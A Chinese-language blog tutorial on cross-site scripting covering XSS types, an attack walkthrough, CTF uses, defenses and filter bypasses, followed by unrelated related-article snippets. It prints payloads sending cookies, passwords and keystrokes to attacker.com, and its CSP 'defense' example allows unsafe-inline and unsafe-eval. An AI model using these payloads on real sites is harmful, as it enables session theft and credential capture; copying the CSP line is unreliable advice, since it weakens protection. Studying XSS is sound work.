XSS攻击(跨站脚本攻击)详解与实战
文章目录
- 一、什么是XSS?
- 二、XSS分类与场景
- 三、XSS攻击实战流程
- 四、CTF中的XSS利用
- 五、XSS防御方案
- 六、绕过过滤的常见技巧
- 七、实战练习资源
一、什么是XSS?
XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。
二、XSS分类与场景
-
存储型XSS(Stored XSS)
- 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。
- 影响范围:所有访问受影响页面的用户。
- 示例:
<script>alert('XSS');</script> // 提交到评论区,所有用户加载时触发弹窗
-
反射型XSS(Reflected XSS)
- 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。
- 触发条件:用户需点击构造的恶意链接。
- 示例:
http://victim.com/search?q=<script>alert(document.cookie)</script>`
-
DOM型XSS(DOM-Based XSS)
-
特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。
-
常见场景:通过
location.hash、document.write等动态修改DOM。 -
示例:
// 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>
-
三、XSS攻击实战流程
目标场景:某博客平台的评论功能存在存储型XSS漏洞。
步骤1:探测注入点
-
在评论区提交测试Payload:
<script>alert(1)</script> -
若页面弹窗,确认漏洞存在。
步骤2:窃取用户Cookie
-
构造Payload将Cookie发送至攻击者服务器:
<script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script> -
攻击者服务器(
attacker.com)记录窃取的Cookie,用于会话劫持。
步骤3:钓鱼攻击
-
伪造登录表单诱导用户输入密码:
<div style="display:none" id="phish"> <form action="http://attacker.com/log" method="POST"> <input type="password" name="password"> <input type="submit" value="Login"> </form> </div> <script>document.getElementById('phish').style.display='block';</script>
步骤4:键盘记录
-
监听用户输入并回传数据:
<script>document.addEventListener('keypress', (e) => { fetch('http://attacker.com/keylog?key=' + e.key); }); </script>
四、CTF中的XSS利用
-
窃取管理员Cookie获取Flag
-
题目场景:留言板存在XSS,管理员会查看留言。
-
Payload:
<script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script> -
攻击者服务器接收管理员Cookie中的Flag。
-
-
DOM型XSS绕过过滤
-
题目过滤了
<script>标签,但允许img标签:<img src=x onerror="alert(1)"> -
利用事件处理器(如
onerror、onload)执行代码。
-
-
利用伪协议
-
通过
javascript:协议触发XSS:http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>
-
五、XSS防御方案
-
输入过滤与输出编码
-
对用户输入的特殊字符(
<,>,&,',")进行HTML实体编码:// PHP示例 echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); -
避免直接使用
innerHTML,优先使用textContent。
-
-
内容安全策略(CSP)
-
通过HTTP头限制脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
-
-
设置HttpOnly标志
-
Cookie中标记
HttpOnly,防止JavaScript读取:Set-Cookie: session=abc123; HttpOnly; Secure
-
-
框架自动防护
- 使用现代前端框架(如React、Vue),默认对动态内容进行转义。
六、绕过过滤的常见技巧
-
大小写混淆:
<ScRiPt>alert(1)</sCriPt> -
编码绕过:
-
HTML实体编码:
<img src=x onerror="alert(1)"> -
JavaScript Unicode编码:
\u0061\u006c\u0065\u0072\u0074(1)
-
-
利用标签属性:
<svg/onload=alert(1)> <iframe src="javascript:alert(1)">
七、实战练习资源
- PortSwigger XSS Labs
- 地址:https://portswigger.net/web-security/cross-site-scripting
- XSS挑战游戏
- XSS Game(Google):https://xss-game.appspot.com
- CTF平台
- Hack The Box, CTFlearn中的Web题目。
总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。
相关文章:
XSS攻击(跨站脚本攻击)详解与实战
文章目录 一、什么是XSS?二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源 一、什么是XSS? XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(…...
【C++指南】类和对象(十):const成员函数
💓 博客主页:倔强的石头的CSDN主页 📝Gitee主页:倔强的石头的gitee主页 ⏩ 文章专栏:《C指南》 期待您的关注 目录 引言 一、const成员函数的定义与语法 1. 基本语法 2. 底层原理 二、const成员函数的作用与约束…...
数值分析与科学计算导引——误差与算法举例
文章目录 第一章 数值分析与科学计算导引1.1 数值分析的对象、作用与特点数值分析的对象数值分析的作用数值分析的特点 1.2 数值计算的误差误差分类误差与有效数字数值运算的误差估计 1.3 算法举例秦九韶算法求多项式值开根号迭代算法牛顿切线加权平均的松弛技术 第一章 数值分…...
ubuntu安装docker 无法拉取问题
sudo docker run hello-world [sudo] ubuntu 的密码: Unable to find image hello-world:latest locally docker: Error response from daemon: Get "https://registry-1.docker.io/v2/": context deadline exceeded (Client.Timeout exceeded while awai…...
【C++项目】Rpc通信框架设计
目录 Rpc远程调用的思想 项目框架设计 服务端模块划分 网络通信模块 Network 应用层通信协议模块 Protocol 消息分发处理模块 Dispatcher 远程调用路由功能模块 RpcRouter 编辑 发布订阅功能模块 Publish-Subscribe 服务注册/发现/上线/下线功能模块 Registry-Disc…...
八股取士--dockerk8s
一、Docker 基础 Docker 和虚拟机的区别是什么? 答案: 虚拟机(VM):虚拟化硬件,每个 VM 有独立操作系统,资源占用高,启动慢。Docker:容器化应用,共享宿主机内核…...
Autojs: 使用 SQLite
例子 let db new SQLiteUtil("/sdcard/A_My_DB/sqlite.db");db.fastCreateTable("user_table",{name: "",online: false,},["name"] // 设置 name 为唯一, 重复项 不会添加成功 );// 新增数据的 ID let row_id db.insert("use…...
思科、华为、H3C常用命令对照表
取消/关闭 思科no华为undo华三undo 查看 思科show华为display华三display 退出 思科exit华为quit华三quit 设备命名 思科hostname华为sysname华三sysname 进入全局模式 思科enable、config terminal华为system-view华三system-view 删除文件 思科delete华为delete华…...
解决 `pip is configured with locations that require TLS/SSL` 错误
问题描述 在使用 pip 安装 Python 包时,可能会遇到以下错误: WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.这意味着 Python 的 ssl 模块未正确安装或配置,导致 p…...
2025-arXiv-OmniThink:通过思考扩展机器写作的知识边界
arXiv | https://arxiv.org/abs/2501.09751 GitHub | https://github.com/zjunlp/OmniThink 项目主页 | https://zjunlp.github.io/project/OmniThink/ ModelScope 在线 Demo | https://www.modelscope.cn/studios/iic/OmniThink 摘要: 大语言模型驱动的机器写作通…...
【广州大学主办,发表有保障 | IEEE出版,稳定EI检索,往届见刊后快至1个月检索】第二届电气技术与自动化工程国际学术会议 (ETAE 2025)
第二届电气技术与自动化工程国际学术会议 (ETAE 2025) The 2nd International Conference on Electrical Technology and Automation Engineering 大会官网:http://www.icetae.com/【更多详情】 会议时间:2025年4月25-27日 会议地点:…...
机器学习:01数学基础教程
函数 极限 按照一定次数排列的一列数:“,“,…,"…,其中u 叫做通项。 对于数列{Un}如果当n无限增大时,其通项无限接近于一个常数A,则称该数列以A为极限或称数列收敛于A,否则称数列为发散, 极限值 左…...
仿叮咚买菜鸿蒙原生APP
# DingdongShopping 这是一个原生鸿蒙版的仿叮咚买菜APP项目 鸿蒙Next发布至今已经有一年多的时间了,但有时候我们想要实现一些复杂的功能或者效果,在开发文档上查阅一些资料还是比较费时的,有可能还找不到我们想要的内容。而社会层面上分享…...
WordPress“更新失败,响应不是有效的JSON响应”问题的修复
在使用WordPress搭建网站时,许多人在编辑或更新文章时,可能会遇到一个提示框,显示“更新失败,响应不是有效的JSON响应”。这个提示信息对于不了解技术细节的用户来说,太难懂。其实,这个问题并不复杂&#x…...
kotlin的onFailure: () -> Unit
在Kotlin中,onFailure: () -> Unit表示一个没有参数且返回类型为Unit的函数。 在Kotlin中,Unit类型用于表示那些没有返回值的函数。具体来说,() -> Unit表示一个没有参数的函数,其返回类型为Unit。这种函数通常用于表示…...
通过网线将Keysight DSOX4154A示波器信号传输至电脑的Step
一、硬件连接 连接网线 使用标准以太网线(Cat5e或更高)连接示波器背面的 LAN端口 至电脑或同一局域网的交换机/路由器。 二、示波器网络配置 进入网络设置菜单 点击示波器前面板右上角 【Utility】 → 【I/O】 → 【LAN Settings】。 配置IP地址 自…...
midjourney 一 prompt 提示词
midjourney 不需要自然语言的描述,它只需要关键词即可。 一个完整的Midjourney prompt通常包括三个部分 图片提示(Image Prompts)、文本提示(Text Prompt)和参数(Parameters)。 1、图片提示(…...
微信小程序 - 网络请求基础路径集中管理(基础路径集中管理策略、动态切换基础路径)
一、基础路径集中管理 在微信小程序项目开发中,经常会将请求的基础路径集中管理 这样可以避免在多个页面中重复定义,同时也方便后续维护与修改 二、基础路径集中管理策略 1、使用全局变量 微信小程序提供了 App 对象,可以在 app.js 中定义…...
C#的委托delegate与事件event
在C#中,delegate(委托)和 event(事件)是两个非常重要的概念,它们主要用于实现回调机制和事件驱动编程。下面详细介绍它们的原理和使用场景。 1. Delegate(委托) 1.1 委托的原理 委托…...
apache artemis安装
安装apache artemis https://xxzkid.github.io/2025/apache-artemis-install...
SharpKeys键盘重映射工具:彻底解决Windows按键布局烦恼的5个实用场景
SharpKeys键盘重映射工具:彻底解决Windows按键布局烦恼的5个实用场景 【免费下载链接】sharpkeys SharpKeys is a utility that manages a Registry key that allows Windows to remap one key to any other key. 项目地址: https://gitcode.com/gh_mirrors/sh/sh…...
PDPS镜像对象保姆级教程:从单个零件到整站布局,5分钟搞定对称模型
PDPS镜像对象高效应用指南:从零件复制到整站布局的实战技巧 在工业仿真领域,对称结构的设计与验证往往占据大量工作时间。想象一下这样的场景:您刚完成一条自动化产线左侧布局,现在需要创建完全对称的右侧部分;或者设计…...
告别CPU空转!STM32F4用DMA驱动WS2812B彩灯,实现流畅动画效果
STM32F4 DMA驱动WS2812B彩灯:释放CPU性能的工程实践 第一次尝试用STM32驱动WS2812B灯带时,我盯着那些闪烁不定的灯光陷入了沉思——为什么简单的颜色变化会让整个系统变得如此卡顿?直到发现DMA这个硬件加速神器,才明白原来CPU被时…...
【参数辨识】经典Prandtl–Ishlinskii(PI)迟滞模型及其PSO算法参数辨识附Matlab代码
✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…...
大语言模型知识同质性解析与工业级优化方案
1. 大语言模型知识同质性现象解析第一次注意到这个现象是在调试GPT-3的生成结果时——当我用不同表述方式询问同一个专业问题时,模型给出的回答在核心论点和论据上呈现出惊人的一致性。这种"千人一面"的知识输出特性,后来被学界正式定义为&quo…...
Windows系统wmpdxm.dll文件丢失无法启动程序解决
在使用电脑系统时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visual C运行库,比如像 QQ、迅雷、Adobe 软件等等,如果没有安装VC运行库或者安装…...
利用 Taotoken 实现多模型 API 密钥的统一管理与访问控制
利用 Taotoken 实现多模型 API 密钥的统一管理与访问控制 1. 多模型密钥管理的核心挑战 在中大型项目或企业环境中,不同团队或项目往往需要访问不同的大模型能力。传统模式下,每个团队单独管理自己的 API 密钥会导致以下问题:密钥分散难以追…...
LRCGET:离线音乐库批量歌词下载与同步的智能解决方案
LRCGET:离线音乐库批量歌词下载与同步的智能解决方案 【免费下载链接】lrcget Utility for mass-downloading LRC synced lyrics for your offline music library. 项目地址: https://gitcode.com/gh_mirrors/lr/lrcget 你是否曾为海量离线音乐文件寻找同步歌…...
三月七小助手:星穹铁道智能自动化终极指南,解放你的游戏时间
三月七小助手:星穹铁道智能自动化终极指南,解放你的游戏时间 【免费下载链接】March7thAssistant 崩坏:星穹铁道全自动 三月七小助手 项目地址: https://gitcode.com/gh_mirrors/ma/March7thAssistant 还在为《崩坏:星穹铁…...
“延迟满足感”与“务实浪漫”:张一鸣如何用这套心法搞定技术选型与产品迭代?
延迟满足与务实浪漫:技术决策者的高阶心法 深夜的锦秋家园办公室里,张一鸣盯着屏幕上不断跳动的用户行为数据曲线,团队正在为是否要全面转向推荐引擎架构争论不休。那是2012年移动互联网爆发前夜,大多数同行仍在沿用门户时代的编辑…...
